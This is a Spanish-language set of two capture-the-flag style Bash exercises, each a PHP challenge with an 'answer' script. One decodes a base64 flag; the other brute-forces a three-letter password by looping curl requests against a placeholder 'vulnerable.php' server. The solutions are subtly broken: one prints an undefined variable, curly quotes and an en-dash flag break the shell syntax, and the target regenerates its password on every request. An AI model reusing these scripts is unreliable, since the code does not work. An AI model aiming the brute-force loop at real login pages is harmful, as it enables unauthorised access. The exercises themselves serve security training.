Ejercicios scripting en Bash
1- Codificame
Instrucciones:
- Uno de los usuarios del corporativo AutHack a perdido su herramienta para obtener sus credenciales en texto plano.
- El participante debe escribir un script en Bash que decodifique la cadena codificada para revelar la contraseña.
“CODIGO”
<?php
$mng = “He perdido la herramienta que me ayuda a obtener mi contraseña en texto plano, me ayudas a crear una?”;
$secret = “FLAG{AUTO_HACK_1q2w3e4r5t6y7u8i9o0p}”;
$encoded = base64_encode($secret);
echo $mng;
echo “\n”;
echo “\n”;
echo $encoded;
?>
RESPUESTA
#!/bin/bash
encoded=”RkxBR3tBVVRPX0hBQ0tfMXEydzNlNHI1dDZ5N3U4aTlvMHB9“
pass=$(echo “$encoded” | base64 –decode)
echo “El password es: $flag”
1- Adivina la Contraseña
Instrucciones:
El objetivo es escribir un script en Bash que adivine la contraseña generada y obtenga la flag.
<?php
$characters = ‘abcdefghijklmnopqrstuvwxyz’;
$length = 3;
$password = ”;
for ($i = 0; $i < $length; $i++) {
$password .= $characters[rand(0, strlen($characters) – 1)];
}
if (isset($_GET[‘input’])) {
if ($_GET[‘input’] === $password) {
echo “Correcto, la flag es: FLAG{password_cracked}”;
} else {
echo “Contraseña incorrecta”;
}
} else {
echo “Proporciona la contraseña usando el parámetro ‘input'”;
}
?>
#!/bin/bash
url=”http://tu-servidor.com/vulnerable.php”
characters=”abcdefghijklmnopqrstuvwxyz”
# Generar todas las combinaciones posibles de contraseñas de 3 caracteres
for c1 in {a..z}; do
for c2 in {a..z}; do
for c3 in {a..z}; do
password=”$c1$c2$c3″
response=$(curl -s “$url?input=$password”)
if [[ $response == *”Correcto”* ]]; then
echo “La flag es: $response”
exit
fi
done
done
done